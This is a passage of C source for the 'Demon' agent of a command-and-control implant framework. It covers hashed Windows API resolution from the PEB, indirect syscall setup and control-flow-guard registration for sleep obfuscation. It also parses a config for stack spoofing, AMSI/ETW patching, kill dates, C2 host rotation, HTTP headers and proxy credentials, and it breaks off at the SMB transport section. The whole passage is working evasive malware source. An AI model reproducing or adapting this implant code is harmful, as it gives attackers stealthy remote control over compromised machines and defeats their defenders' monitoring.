Instance.Win32.NtGetNextThread = LdrFunctionAddr( Instance.Modules.Ntdll, H_FUNC_NTGETNEXTTHREAD );
|
||||
Instance.Win32.NtOpenProcess = LdrFunctionAddr( Instance.Modules.Ntdll, H_FUNC_NTOPENPROCESS );
|
||||
Instance.Win32.NtTerminateProcess = LdrFunctionAddr( Instance.Modules.Ntdll, H_FUNC_NTTERMINATEPROCESS );
|
||||
Instance.Win32.NtQueryInformationProcess = LdrFunctionAddr( Instance.Modules.Ntdll, H_FUNC_NTQUERYINFORMATIONPROCESS );
|
||||
Instance.Win32.NtQuerySystemInformation = LdrFunctionAddr( Instance.Modules.Ntdll, H_FUNC_NTQUERYSYSTEMINFORMATION );
|
||||
Instance.Win32.NtAllocateVirtualMemory = LdrFunctionAddr( Instance.Modules.Ntdll, H_FUNC_NTALLOCATEVIRTUALMEMORY );
|
||||
Instance.Win32.NtQueueApcThread = LdrFunctionAddr( Instance.Modules.Ntdll, H_FUNC_NTQUEUEAPCTHREAD );
|
||||
Instance.Win32.NtOpenThread = LdrFunctionAddr( Instance.Modules.Ntdll, H_FUNC_NTOPENTHREAD );
|
||||
Instance.Win32.NtOpenThreadToken = LdrFunctionAddr( Instance.Modules.Ntdll, H_FUNC_NTOPENTHREADTOKEN );
|
||||
Instance.Win32.NtResumeThread = LdrFunctionAddr( Instance.Modules.Ntdll, H_FUNC_NTRESUMETHREAD );
|
||||
Instance.Win32.NtSuspendThread = LdrFunctionAddr( Instance.Modules.Ntdll, H_FUNC_NTSUSPENDTHREAD );
|
||||
Instance.Win32.NtCreateEvent = LdrFunctionAddr( Instance.Modules.Ntdll, H_FUNC_NTCREATEEVENT );
|
||||
Instance.Win32.NtDuplicateObject = LdrFunctionAddr( Instance.Modules.Ntdll, H_FUNC_NTDUPLICATEOBJECT );
|
||||
Instance.Win32.NtGetContextThread = LdrFunctionAddr( Instance.Modules.Ntdll, H_FUNC_NTGETCONTEXTTHREAD );
|
||||
Instance.Win32.NtSetContextThread = LdrFunctionAddr( Instance.Modules.Ntdll, H_FUNC_NTSETCONTEXTTHREAD );
|
||||
Instance.Win32.NtWaitForSingleObject = LdrFunctionAddr( Instance.Modules.Ntdll, H_FUNC_NTWAITFORSINGLEOBJECT );
|
||||
Instance.Win32.NtAlertResumeThread = LdrFunctionAddr( Instance.Modules.Ntdll, H_FUNC_NTALERTRESUMETHREAD );
|
||||
Instance.Win32.NtSignalAndWaitForSingleObject = LdrFunctionAddr( Instance.Modules.Ntdll, H_FUNC_NTSIGNALANDWAITFORSINGLEOBJECT );
|
||||
Instance.Win32.NtTestAlert = LdrFunctionAddr( Instance.Modules.Ntdll, H_FUNC_NTTESTALERT );
|
||||
Instance.Win32.NtCreateThreadEx = LdrFunctionAddr( Instance.Modules.Ntdll, H_FUNC_NTCREATETHREADEX );
|
||||
Instance.Win32.NtOpenProcessToken = LdrFunctionAddr( Instance.Modules.Ntdll, H_FUNC_NTOPENPROCESSTOKEN );
|
||||
Instance.Win32.NtDuplicateToken = LdrFunctionAddr( Instance.Modules.Ntdll, H_FUNC_NTDUPLICATETOKEN );
|
||||
Instance.Win32.NtProtectVirtualMemory = LdrFunctionAddr( Instance.Modules.Ntdll, H_FUNC_NTPROTECTVIRTUALMEMORY );
|
||||
Instance.Win32.NtTerminateThread = LdrFunctionAddr( Instance.Modules.Ntdll, H_FUNC_NTTERMINATETHREAD );
|
||||
Instance.Win32.NtWriteVirtualMemory = LdrFunctionAddr( Instance.Modules.Ntdll, H_FUNC_NTWRITEVIRTUALMEMORY );
|
||||
Instance.Win32.NtContinue = LdrFunctionAddr( Instance.Modules.Ntdll, H_FUNC_NTCONTINUE );
|
||||
Instance.Win32.NtReadVirtualMemory = LdrFunctionAddr( Instance.Modules.Ntdll, H_FUNC_NTREADVIRTUALMEMORY );
|
||||
Instance.Win32.NtFreeVirtualMemory = LdrFunctionAddr( Instance.Modules.Ntdll, H_FUNC_NTFREEVIRTUALMEMORY );
|
||||
Instance.Win32.NtUnmapViewOfSection = LdrFunctionAddr( Instance.Modules.Ntdll, H_FUNC_NTUNMAPVIEWOFSECTION );
|
||||
Instance.Win32.NtQueryVirtualMemory = LdrFunctionAddr( Instance.Modules.Ntdll, H_FUNC_NTQUERYVIRTUALMEMORY );
|
||||
Instance.Win32.NtQueryInformationToken = LdrFunctionAddr( Instance.Modules.Ntdll, H_FUNC_NTQUERYINFORMATIONTOKEN );
|
||||
Instance.Win32.NtQueryInformationThread = LdrFunctionAddr( Instance.Modules.Ntdll, H_FUNC_NTQUERYINFORMATIONTHREAD );
|
||||
Instance.Win32.NtQueryObject = LdrFunctionAddr( Instance.Modules.Ntdll, H_FUNC_NTQUERYOBJECT );
|
||||
Instance.Win32.NtTraceEvent = LdrFunctionAddr( Instance.Modules.Ntdll, H_FUNC_NTTRACEEVENT );
|
||||
} else {
|
||||
PUTS( "Failed to load ntdll from PEB" )
|
||||
return;
|
||||
}
|
||||
|
||||
/* resolve Windows version */
|
||||
Instance.Session.OSVersion = WIN_VERSION_UNKNOWN;
|
||||
OSVersionExW.dwOSVersionInfoSize = sizeof( OSVersionExW );
|
||||
if ( NT_SUCCESS( Instance.Win32.RtlGetVersion( &OSVersionExW ) ) ) {
|
||||
if ( OSVersionExW.dwMajorVersion >= 5 ) {
|
||||
if ( OSVersionExW.dwMajorVersion == 5 ) {
|
||||
if ( OSVersionExW.dwMinorVersion == 1 ) {
|
||||
Instance.Session.OSVersion = WIN_VERSION_XP;
|
||||
}
|
||||
} else if ( OSVersionExW.dwMajorVersion == 6 ) {
|
||||
if ( OSVersionExW.dwMinorVersion == 0 ) {
|
||||
Instance.Session.OSVersion = OSVersionExW.wProductType == VER_NT_WORKSTATION ? WIN_VERSION_VISTA : WIN_VERSION_2008;
|
||||
} else if ( OSVersionExW.dwMinorVersion == 1 ) {
|
||||
Instance.Session.OSVersion = OSVersionExW.wProductType == VER_NT_WORKSTATION ? WIN_VERSION_7 : WIN_VERSION_2008_R2;
|
||||
} else if ( OSVersionExW.dwMinorVersion == 2 ) {
|
||||
Instance.Session.OSVersion = OSVersionExW.wProductType == VER_NT_WORKSTATION ? WIN_VERSION_8 : WIN_VERSION_2012;
|
||||
} else if ( OSVersionExW.dwMinorVersion == 3 ) {
|
||||
Instance.Session.OSVersion = OSVersionExW.wProductType == VER_NT_WORKSTATION ? WIN_VERSION_8_1 : WIN_VERSION_2012_R2;
|
||||
}
|
||||
} else if ( OSVersionExW.dwMajorVersion == 10 ) {
|
||||
if ( OSVersionExW.dwMinorVersion == 0 ) {
|
||||
Instance.Session.OSVersion = OSVersionExW.wProductType == VER_NT_WORKSTATION ? WIN_VERSION_10 : WIN_VERSION_2016_X;
|
||||
}
|
||||
}
|
||||
}
|
||||
} PRINTF( "OSVersion: %d\n", Instance.Session.OSVersion );
|
||||
|
||||
/* load kernel32.dll functions */
|
||||
if ( ( Instance.Modules.Kernel32 = LdrModulePeb( H_MODULE_KERNEL32 ) ) ) {
|
||||
Instance.Win32.LoadLibraryW = LdrFunctionAddr( Instance.Modules.Kernel32, H_FUNC_LOADLIBRARYW );
|
||||
Instance.Win32.VirtualProtectEx = LdrFunctionAddr( Instance.Modules.Kernel32, H_FUNC_VIRTUALPROTECTEX );
|
||||
Instance.Win32.VirtualProtect = LdrFunctionAddr( Instance.Modules.Kernel32, H_FUNC_VIRTUALPROTECT );
|
||||
Instance.Win32.LocalAlloc = LdrFunctionAddr( Instance.Modules.Kernel32, H_FUNC_LOCALALLOC );
|
||||
Instance.Win32.LocalReAlloc = LdrFunctionAddr( Instance.Modules.Kernel32, H_FUNC_LOCALREALLOC );
|
||||
Instance.Win32.LocalFree = LdrFunctionAddr( Instance.Modules.Kernel32, H_FUNC_LOCALFREE );
|
||||
Instance.Win32.CreateRemoteThread = LdrFunctionAddr( Instance.Modules.Kernel32, H_FUNC_CREATEREMOTETHREAD );
|
||||
Instance.Win32.CreateToolhelp32Snapshot = LdrFunctionAddr( Instance.Modules.Kernel32, H_FUNC_CREATETOOLHELP32SNAPSHOT );
|
||||
Instance.Win32.Process32FirstW = LdrFunctionAddr( Instance.Modules.Kernel32, H_FUNC_PROCESS32FIRSTW );
|
||||
Instance.Win32.Process32NextW = LdrFunctionAddr( Instance.Modules.Kernel32, H_FUNC_PROCESS32NEXTW );
|
||||
Instance.Win32.CreatePipe = LdrFunctionAddr( Instance.Modules.Kernel32, H_FUNC_CREATEPIPE );
|
||||
Instance.Win32.CreateProcessW = LdrFunctionAddr( Instance.Modules.Kernel32, H_FUNC_CREATEPROCESSW );
|
||||
Instance.Win32.GetFullPathNameW = LdrFunctionAddr( Instance.Modules.Kernel32, H_FUNC_GETFULLPATHNAMEW );
|
||||
Instance.Win32.CreateFileW = LdrFunctionAddr( Instance.Modules.Kernel32, H_FUNC_CREATEFILEW );
|
||||
Instance.Win32.GetFileSize = LdrFunctionAddr( Instance.Modules.Kernel32, H_FUNC_GETFILESIZE );
|
||||
Instance.Win32.GetFileSizeEx = LdrFunctionAddr( Instance.Modules.Kernel32, H_FUNC_GETFILESIZEEX );
|
||||
Instance.Win32.CreateNamedPipeW = LdrFunctionAddr( Instance.Modules.Kernel32, H_FUNC_CREATENAMEDPIPEW );
|
||||
Instance.Win32.ConvertFiberToThread = LdrFunctionAddr( Instance.Modules.Kernel32, H_FUNC_CONVERTFIBERTOTHREAD );
|
||||
Instance.Win32.CreateFiberEx = LdrFunctionAddr( Instance.Modules.Kernel32, H_FUNC_CREATEFIBEREX );
|
||||
Instance.Win32.ReadFile = LdrFunctionAddr( Instance.Modules.Kernel32, H_FUNC_READFILE );
|
||||
Instance.Win32.VirtualAllocEx = LdrFunctionAddr( Instance.Modules.Kernel32, H_FUNC_VIRTUALALLOCEX );
|
||||
Instance.Win32.WaitForSingleObjectEx = LdrFunctionAddr( Instance.Modules.Kernel32, H_FUNC_WAITFORSINGLEOBJECTEX );
|
||||
Instance.Win32.GetComputerNameExA = LdrFunctionAddr( Instance.Modules.Kernel32, H_FUNC_GETCOMPUTERNAMEEXA );
|
||||
Instance.Win32.GetExitCodeProcess = LdrFunctionAddr( Instance.Modules.Kernel32, H_FUNC_GETEXITCODEPROCESS );
|
||||
Instance.Win32.GetExitCodeThread = LdrFunctionAddr( Instance.Modules.Kernel32, H_FUNC_GETEXITCODETHREAD );
|
||||
Instance.Win32.TerminateProcess = LdrFunctionAddr( Instance.Modules.Kernel32, H_FUNC_TERMINATEPROCESS );
|
||||
Instance.Win32.ConvertThreadToFiberEx = LdrFunctionAddr( Instance.Modules.Kernel32, H_FUNC_CONVERTTHREADTOFIBEREX );
|
||||
Instance.Win32.SwitchToFiber = LdrFunctionAddr( Instance.Modules.Kernel32, H_FUNC_SWITCHTOFIBER );
|
||||
Instance.Win32.DeleteFiber = LdrFunctionAddr( Instance.Modules.Kernel32, H_FUNC_DELETEFIBER );
|
||||
Instance.Win32.AllocConsole = LdrFunctionAddr( Instance.Modules.Kernel32, H_FUNC_ALLOCCONSOLE );
|
||||
Instance.Win32.FreeConsole = LdrFunctionAddr( Instance.Modules.Kernel32, H_FUNC_FREECONSOLE );
|
||||
Instance.Win32.GetConsoleWindow = LdrFunctionAddr( Instance.Modules.Kernel32, H_FUNC_GETCONSOLEWINDOW );
|
||||
Instance.Win32.GetStdHandle = LdrFunctionAddr( Instance.Modules.Kernel32, H_FUNC_GETSTDHANDLE );
|
||||
Instance.Win32.SetStdHandle = LdrFunctionAddr( Instance.Modules.Kernel32, H_FUNC_SETSTDHANDLE );
|
||||
Instance.Win32.WaitNamedPipeW = LdrFunctionAddr( Instance.Modules.Kernel32, H_FUNC_WAITNAMEDPIPEW );
|
||||
Instance.Win32.PeekNamedPipe = LdrFunctionAddr( Instance.Modules.Kernel32, H_FUNC_PEEKNAMEDPIPE );
|
||||
Instance.Win32.DisconnectNamedPipe = LdrFunctionAddr( Instance.Modules.Kernel32, H_FUNC_DISCONNECTNAMEDPIPE );
|
||||
Instance.Win32.WriteFile = LdrFunctionAddr( Instance.Modules.Kernel32, H_FUNC_WRITEFILE );
|
||||
Instance.Win32.ConnectNamedPipe = LdrFunctionAddr( Instance.Modules.Kernel32, H_FUNC_CONNECTNAMEDPIPE );
|
||||
Instance.Win32.FreeLibrary = LdrFunctionAddr( Instance.Modules.Kernel32, H_FUNC_FREELIBRARY );
|
||||
Instance.Win32.GetCurrentDirectoryW = LdrFunctionAddr( Instance.Modules.Kernel32, H_FUNC_GETCURRENTDIRECTORYW );
|
||||
Instance.Win32.GetFileAttributesW = LdrFunctionAddr( Instance.Modules.Kernel32, H_FUNC_GETFILEATTRIBUTESW );
|
||||
Instance.Win32.FindFirstFileW = LdrFunctionAddr( Instance.Modules.Kernel32, H_FUNC_FINDFIRSTFILEW );
|
||||
Instance.Win32.FindNextFileW = LdrFunctionAddr( Instance.Modules.Kernel32, H_FUNC_FINDNEXTFILEW );
|
||||
Instance.Win32.FindClose = LdrFunctionAddr( Instance.Modules.Kernel32, H_FUNC_FINDCLOSE );
|
||||
Instance.Win32.FileTimeToSystemTime = LdrFunctionAddr( Instance.Modules.Kernel32, H_FUNC_FILETIMETOSYSTEMTIME );
|
||||
Instance.Win32.SystemTimeToTzSpecificLocalTime = LdrFunctionAddr( Instance.Modules.Kernel32, H_FUNC_SYSTEMTIMETOTZSPECIFICLOCALTIME );
|
||||
Instance.Win32.RemoveDirectoryW = LdrFunctionAddr( Instance.Modules.Kernel32, H_FUNC_REMOVEDIRECTORYW );
|
||||
Instance.Win32.DeleteFileW = LdrFunctionAddr( Instance.Modules.Kernel32, H_FUNC_DELETEFILEW );
|
||||
Instance.Win32.CreateDirectoryW = LdrFunctionAddr( Instance.Modules.Kernel32, H_FUNC_CREATEDIRECTORYW );
|
||||
Instance.Win32.CopyFileW = LdrFunctionAddr( Instance.Modules.Kernel32, H_FUNC_COPYFILEW );
|
||||
Instance.Win32.MoveFileExW = LdrFunctionAddr( Instance.Modules.Kernel32, H_FUNC_MOVEFILEEXW );
|
||||
Instance.Win32.SetCurrentDirectoryW = LdrFunctionAddr( Instance.Modules.Kernel32, H_FUNC_SETCURRENTDIRECTORYW );
|
||||
Instance.Win32.Wow64DisableWow64FsRedirection = LdrFunctionAddr( Instance.Modules.Kernel32, H_FUNC_WOW64DISABLEWOW64FSREDIRECTION );
|
||||
Instance.Win32.Wow64RevertWow64FsRedirection = LdrFunctionAddr( Instance.Modules.Kernel32, H_FUNC_WOW64REVERTWOW64FSREDIRECTION );
|
||||
Instance.Win32.GetModuleHandleA = LdrFunctionAddr( Instance.Modules.Kernel32, H_FUNC_GETMODULEHANDLEA );
|
||||
Instance.Win32.GetSystemTimeAsFileTime = LdrFunctionAddr( Instance.Modules.Kernel32, H_FUNC_GETSYSTEMTIMEASFILETIME );
|
||||
Instance.Win32.GetLocalTime = LdrFunctionAddr( Instance.Modules.Kernel32, H_FUNC_GETLOCALTIME );
|
||||
Instance.Win32.DuplicateHandle = LdrFunctionAddr( Instance.Modules.Kernel32, H_FUNC_DUPLICATEHANDLE );
|
||||
Instance.Win32.AttachConsole = LdrFunctionAddr( Instance.Modules.Kernel32, H_FUNC_ATTACHCONSOLE );
|
||||
Instance.Win32.WriteConsoleA = LdrFunctionAddr( Instance.Modules.Kernel32, H_FUNC_WRITECONSOLEA );
|
||||
Instance.Win32.GlobalFree = LdrFunctionAddr( Instance.Modules.Kernel32, H_FUNC_GLOBALFREE );
|
||||
}
|
||||
|
||||
/* now that we loaded some of the basic apis lets parse the config and see how we load the rest */
|
||||
/* Parse config */
|
||||
DemonConfig();
|
||||
|
||||
/* now do post init stuff after parsing the config */
|
||||
if ( Instance.Config.Implant.SysIndirect )
|
||||
{
|
||||
/* Initialize indirect syscalls + get SSN from every single syscall we need */
|
||||
if ( ! SysInitialize( Instance.Modules.Ntdll ) ) {
|
||||
PUTS( "Failed to Initialize syscalls" )
|
||||
/* NOTE: the agent is going to keep going for now. */
|
||||
}
|
||||
}
|
||||
|
||||
/* shuffle array */
|
||||
ShuffleArray( RtModules, SIZEOF_ARRAY( RtModules ) );
|
||||
|
||||
/* load all modules */
|
||||
for ( int i = 0; i < SIZEOF_ARRAY( RtModules ); i++ )
|
||||
{
|
||||
/* load module */
|
||||
if ( ! ( ( BOOL (*)() ) RtModules[ i ] ) () ) {
|
||||
PUTS( "Failed to load a module" )
|
||||
return;
|
||||
}
|
||||
}
|
||||
|
||||
if ( KArgs )
|
||||
{
|
||||
#if SHELLCODE
|
||||
Instance.Session.ModuleBase = KArgs->Demon;
|
||||
Instance.Session.ModuleSize = KArgs->DemonSize;
|
||||
Instance.Session.TxtBase = KArgs->TxtBase;
|
||||
Instance.Session.TxtSize = KArgs->TxtSize;
|
||||
FreeReflectiveLoader( KArgs->KaynLdr );
|
||||
#endif
|
||||
}
|
||||
else
|
||||
{
|
||||
Instance.Session.ModuleBase = ModuleInst;
|
||||
|
||||
/* if ModuleBase has not been specified then lets use the current process one */
|
||||
if ( ! Instance.Session.ModuleBase ) {
|
||||
/* if we specified nothing as our ModuleBase then this either means that we are an exe or we should use the whole process */
|
||||
Instance.Session.ModuleBase = LdrModulePeb( 0 );
|
||||
}
|
||||
|
||||
if ( Instance.Session.ModuleBase ) {
|
||||
Instance.Session.ModuleSize = IMAGE_SIZE( Instance.Session.ModuleBase );
|
||||
}
|
||||
}
|
||||
|
||||
#if _WIN64
|
||||
Instance.Session.OS_Arch = PROCESSOR_ARCHITECTURE_AMD64;
|
||||
Instance.Session.Process_Arch = PROCESSOR_ARCHITECTURE_AMD64;
|
||||
#else
|
||||
Instance.Session.Process_Arch = PROCESSOR_ARCHITECTURE_INTEL;
|
||||
Instance.Session.OS_Arch = PROCESSOR_ARCHITECTURE_UNKNOWN;
|
||||
if ( ProcessIsWow( NtCurrentProcess() ) ) {
|
||||
Instance.Session.OS_Arch = PROCESSOR_ARCHITECTURE_AMD64;
|
||||
} else {
|
||||
Instance.Session.OS_Arch = PROCESSOR_ARCHITECTURE_INTEL;
|
||||
}
|
||||
#endif
|
||||
|
||||
Instance.Session.PID = U_PTR( Instance.Teb->ClientId.UniqueProcess );
|
||||
Instance.Session.TID = U_PTR( Instance.Teb->ClientId.UniqueThread );
|
||||
Instance.Session.Connected = FALSE;
|
||||
Instance.Session.AgentID = RandomNumber32();
|
||||
Instance.Config.AES.Key = NULL; /* TODO: generate keys here */
|
||||
Instance.Config.AES.IV = NULL;
|
||||
|
||||
/* Linked lists */
|
||||
Instance.Tokens.Vault = NULL;
|
||||
Instance.Tokens.Impersonate = FALSE;
|
||||
Instance.Jobs = NULL;
|
||||
Instance.Downloads = NULL;
|
||||
Instance.Sockets = NULL;
|
||||
Instance.HwBpEngine = NULL;
|
||||
Instance.Packages = NULL;
|
||||
|
||||
/* Global Objects */
|
||||
Instance.Dotnet = NULL;
|
||||
|
||||
/* if cfg is enforced (and if sleep obf is enabled)
|
||||
* add every address we're going to use to the Cfg address list
|
||||
* to not raise an exception while performing sleep obfuscation */
|
||||
if ( CfgQueryEnforced() )
|
||||
{
|
||||
PUTS( "Adding required function module &addresses to the cfg list" );
|
||||
|
||||
/* common functions */
|
||||
CfgAddressAdd( Instance.Modules.Ntdll, Instance.Win32.NtContinue );
|
||||
CfgAddressAdd( Instance.Modules.Ntdll, Instance.Win32.NtSetContextThread );
|
||||
CfgAddressAdd( Instance.Modules.Ntdll, Instance.Win32.NtGetContextThread );
|
||||
CfgAddressAdd( Instance.Modules.Advapi32, Instance.Win32.SystemFunction032 );
|
||||
|
||||
/* ekko sleep obf */
|
||||
CfgAddressAdd( Instance.Modules.Kernel32, Instance.Win32.WaitForSingleObjectEx );
|
||||
CfgAddressAdd( Instance.Modules.Kernel32, Instance.Win32.VirtualProtect );
|
||||
CfgAddressAdd( Instance.Modules.Ntdll, Instance.Win32.NtSetEvent );
|
||||
|
||||
/* foliage sleep obf */
|
||||
CfgAddressAdd( Instance.Modules.Ntdll, Instance.Win32.NtTestAlert );
|
||||
CfgAddressAdd( Instance.Modules.Ntdll, Instance.Win32.NtWaitForSingleObject );
|
||||
CfgAddressAdd( Instance.Modules.Ntdll, Instance.Win32.NtProtectVirtualMemory );
|
||||
CfgAddressAdd( Instance.Modules.Ntdll, Instance.Win32.RtlExitUserThread );
|
||||
}
|
||||
|
||||
PRINTF( "Instance DemonID => %x\n", Instance.Session.AgentID )
|
||||
}
|
||||
|
||||
VOID DemonConfig()
|
||||
{
|
||||
PARSER Parser = { 0 };
|
||||
PVOID Buffer = NULL;
|
||||
ULONG Temp = 0;
|
||||
UINT32 Length = 0;
|
||||
DWORD J = 0;
|
||||
|
||||
PRINTF( "Config Size: %d\n", sizeof( AgentConfig ) )
|
||||
|
||||
ParserNew( &Parser, AgentConfig, sizeof( AgentConfig ) );
|
||||
RtlSecureZeroMemory( AgentConfig, sizeof( AgentConfig ) );
|
||||
|
||||
Instance.Config.Sleeping = ParserGetInt32( &Parser );
|
||||
Instance.Config.Jitter = ParserGetInt32( &Parser );
|
||||
PRINTF( "Sleep: %d (%d%%)\n", Instance.Config.Sleeping, Instance.Config.Jitter )
|
||||
|
||||
Instance.Config.Memory.Alloc = ParserGetInt32( &Parser );
|
||||
Instance.Config.Memory.Execute = ParserGetInt32( &Parser );
|
||||
|
||||
PRINTF(
|
||||
"[CONFIG] Memory: \n"
|
||||
" - Allocate: %d \n"
|
||||
" - Execute : %d \n",
|
||||
Instance.Config.Memory.Alloc,
|
||||
Instance.Config.Memory.Execute
|
||||
)
|
||||
|
||||
Buffer = ParserGetBytes( &Parser, &Length );
|
||||
Instance.Config.Process.Spawn64 = Instance.Win32.LocalAlloc( LPTR, Length );
|
||||
MemCopy( Instance.Config.Process.Spawn64, Buffer, Length );
|
||||
|
||||
Buffer = ParserGetBytes( &Parser, &Length );
|
||||
Instance.Config.Process.Spawn86 = Instance.Win32.LocalAlloc( LPTR, Length );
|
||||
MemCopy( Instance.Config.Process.Spawn86, Buffer, Length );
|
||||
|
||||
PRINTF(
|
||||
"[CONFIG] Spawn: \n"
|
||||
" - [x64] => %ls \n"
|
||||
" - [x86] => %ls \n",
|
||||
Instance.Config.Process.Spawn64,
|
||||
Instance.Config.Process.Spawn86
|
||||
)
|
||||
|
||||
Instance.Config.Implant.SleepMaskTechnique = ParserGetInt32( &Parser );
|
||||
Instance.Config.Implant.StackSpoof = ParserGetInt32( &Parser );
|
||||
Instance.Config.Implant.ProxyLoading = ParserGetInt32( &Parser );
|
||||
Instance.Config.Implant.SysIndirect = ParserGetInt32( &Parser );
|
||||
Instance.Config.Implant.AmsiEtwPatch = ParserGetInt32( &Parser );
|
||||
#ifdef TRANSPORT_HTTP
|
||||
Instance.Config.Implant.DownloadChunkSize = 0x80000; /* 512k */
|
||||
#else
|
||||
Instance.Config.Implant.DownloadChunkSize = 0xfc00; /* 63k, needs to be less than PIPE_BUFFER_MAX */
|
||||
#endif
|
||||
|
||||
PRINTF(
|
||||
"[CONFIG] Sleep Obfuscation: \n"
|
||||
" - Technique: %d \n"
|
||||
" - Stack Dup: %s \n"
|
||||
"[CONFIG] ProxyLoading: %d\n"
|
||||
"[CONFIG] SysIndirect : %s\n"
|
||||
"[CONFIG] AmsiEtwPatch: %d\n",
|
||||
Instance.Config.Implant.SleepMaskTechnique,
|
||||
Instance.Config.Implant.StackSpoof ? "TRUE" : "FALSE",
|
||||
Instance.Config.Implant.ProxyLoading,
|
||||
Instance.Config.Implant.SysIndirect ? "TRUE" : "FALSE",
|
||||
Instance.Config.Implant.AmsiEtwPatch
|
||||
)
|
||||
|
||||
#ifdef TRANSPORT_HTTP
|
||||
Instance.Config.Transport.KillDate = ParserGetInt64( &Parser );
|
||||
PRINTF( "KillDate: %d\n", Instance.Config.Transport.KillDate )
|
||||
// check if the kill date has already passed
|
||||
if ( Instance.Config.Transport.KillDate && GetSystemFileTime() >= Instance.Config.Transport.KillDate )
|
||||
{
|
||||
// refuse to run
|
||||
// TODO: exit process?
|
||||
Instance.Win32.RtlExitUserThread( 0 );
|
||||
}
|
||||
Instance.Config.Transport.WorkingHours = ParserGetInt32( &Parser );
|
||||
|
||||
Buffer = ParserGetBytes( &Parser, &Length );
|
||||
Instance.Config.Transport.Method = NtHeapAlloc( Length + sizeof( WCHAR ) );
|
||||
MemCopy( Instance.Config.Transport.Method, Buffer, Length );
|
||||
|
||||
Instance.Config.Transport.HostRotation = ParserGetInt32( &Parser );
|
||||
Instance.Config.Transport.HostMaxRetries = 0; /* Max retries. 0 == infinite retrying
|
||||
* TODO: add this to the yaotl language and listener GUI */
|
||||
Instance.Config.Transport.Hosts = NULL;
|
||||
Instance.Config.Transport.Host = NULL;
|
||||
|
||||
/* J contains our Hosts counter */
|
||||
J = ParserGetInt32( &Parser );
|
||||
PRINTF( "[CONFIG] Hosts [%d]\n:", J )
|
||||
for ( int i = 0; i < J; i++ )
|
||||
{
|
||||
Buffer = ParserGetBytes( &Parser, &Length );
|
||||
Temp = ParserGetInt32( &Parser );
|
||||
|
||||
PRINTF( " - %ls:%ld\n", Buffer, Temp )
|
||||
|
||||
/* if our host address is longer than 0 then lets use it. */
|
||||
if ( Length > 0 ) {
|
||||
/* Add parse host data to our linked list */
|
||||
HostAdd( Buffer, Length, Temp );
|
||||
}
|
||||
}
|
||||
Instance.Config.Transport.NumHosts = HostCount();
|
||||
PRINTF( "Hosts added => %d\n", Instance.Config.Transport.NumHosts )
|
||||
|
||||
/* Get Host data based on our host rotation strategy */
|
||||
Instance.Config.Transport.Host = HostRotation( Instance.Config.Transport.HostRotation );
|
||||
PRINTF( "Host going to be used is => %ls:%ld\n", Instance.Config.Transport.Host->Host, Instance.Config.Transport.Host->Port )
|
||||
|
||||
// Listener Secure (SSL)
|
||||
Instance.Config.Transport.Secure = ParserGetInt32( &Parser );
|
||||
PRINTF( "[CONFIG] Secure: %s\n", Instance.Config.Transport.Secure ? "TRUE" : "FALSE" );
|
||||
|
||||
// UserAgent
|
||||
Buffer = ParserGetBytes( &Parser, &Length );
|
||||
Instance.Config.Transport.UserAgent = NtHeapAlloc( Length + sizeof( WCHAR ) );
|
||||
MemCopy( Instance.Config.Transport.UserAgent, Buffer, Length );
|
||||
PRINTF( "[CONFIG] UserAgent: %ls\n", Instance.Config.Transport.UserAgent );
|
||||
|
||||
// Headers
|
||||
J = ParserGetInt32( &Parser );
|
||||
Instance.Config.Transport.Headers = NtHeapAlloc( sizeof( LPWSTR ) * ( ( J + 1 ) * 2 ) );
|
||||
PRINTF( "[CONFIG] Headers [%d]:\n", J );
|
||||
for ( INT i = 0; i < J; i++ )
|
||||
{
|
||||
Buffer = ParserGetBytes( &Parser, &Length );
|
||||
Instance.Config.Transport.Headers[ i ] = NtHeapAlloc( Length + sizeof( WCHAR ) );
|
||||
MemSet( Instance.Config.Transport.Headers[ i ], 0, Length );
|
||||
MemCopy( Instance.Config.Transport.Headers[ i ], Buffer, Length );
|
||||
#ifdef DEBUG
|
||||
PRINTF( " - %ls\n", Instance.Config.Transport.Headers[ i ] );
|
||||
#endif
|
||||
}
|
||||
Instance.Config.Transport.Headers[ J + 1 ] = NULL;
|
||||
|
||||
// Uris
|
||||
J = ParserGetInt32( &Parser );
|
||||
Instance.Config.Transport.Uris = NtHeapAlloc( sizeof( LPWSTR ) * ( ( J + 1 ) * 2 ) );
|
||||
PRINTF( "[CONFIG] Uris [%d]:\n", J );
|
||||
for ( INT i = 0; i < J; i++ )
|
||||
{
|
||||
Buffer = ParserGetBytes( &Parser, &Length );
|
||||
Instance.Config.Transport.Uris[ i ] = NtHeapAlloc( Length + sizeof( WCHAR ) );
|
||||
MemSet( Instance.Config.Transport.Uris[ i ], 0, Length + sizeof( WCHAR ) );
|
||||
MemCopy( Instance.Config.Transport.Uris[ i ], Buffer, Length );
|
||||
#ifdef DEBUG
|
||||
PRINTF( " - %ls\n", Instance.Config.Transport.Uris[ i ] );
|
||||
#endif
|
||||
}
|
||||
Instance.Config.Transport.Uris[ J + 1 ] = NULL;
|
||||
|
||||
// check if proxy connection is enabled
|
||||
Instance.Config.Transport.Proxy.Enabled = ( BOOL ) ParserGetInt32( &Parser );;
|
||||
if ( Instance.Config.Transport.Proxy.Enabled )
|
||||
{
|
||||
PUTS( "[CONFIG] [PROXY] Enabled" );
|
||||
Buffer = ParserGetBytes( &Parser, &Length );
|
||||
Instance.Config.Transport.Proxy.Url = NtHeapAlloc( Length + sizeof( WCHAR ) );
|
||||
MemCopy( Instance.Config.Transport.Proxy.Url, Buffer, Length );
|
||||
PRINTF( "[CONFIG] [PROXY] Url: %ls\n", Instance.Config.Transport.Proxy.Url );
|
||||
|
||||
Buffer = ParserGetBytes( &Parser, &Length );
|
||||
if ( Length > 0 )
|
||||
{
|
||||
Instance.Config.Transport.Proxy.Username = NtHeapAlloc( Length );
|
||||
MemCopy( Instance.Config.Transport.Proxy.Username, Buffer, Length );
|
||||
PRINTF( "[CONFIG] [PROXY] Username: %ls\n", Instance.Config.Transport.Proxy.Username );
|
||||
}
|
||||
else
|
||||
Instance.Config.Transport.Proxy.Username = NULL;
|
||||
|
||||
Buffer = ParserGetBytes( &Parser, &Length );
|
||||
if ( Length > 0 )
|
||||
{
|
||||
Instance.Config.Transport.Proxy.Password = NtHeapAlloc( Length );
|
||||
MemCopy( Instance.Config.Transport.Proxy.Password, Buffer, Length );
|
||||
PRINTF( "[CONFIG] [PROXY] Password: %ls\n", Instance.Config.Transport.Proxy.Password );
|
||||
}
|
||||
else
|
||||
Instance.Config.Transport.Proxy.Password = NULL;
|
||||
}
|
||||
else
|
||||
{
|
||||
PUTS( "[CONFIG] [PROXY] Disabled" );
|
||||
}
|
||||
#endif
|
||||
|
||||
#ifdef TRANSPORT_SMB
|
||||
|
||||
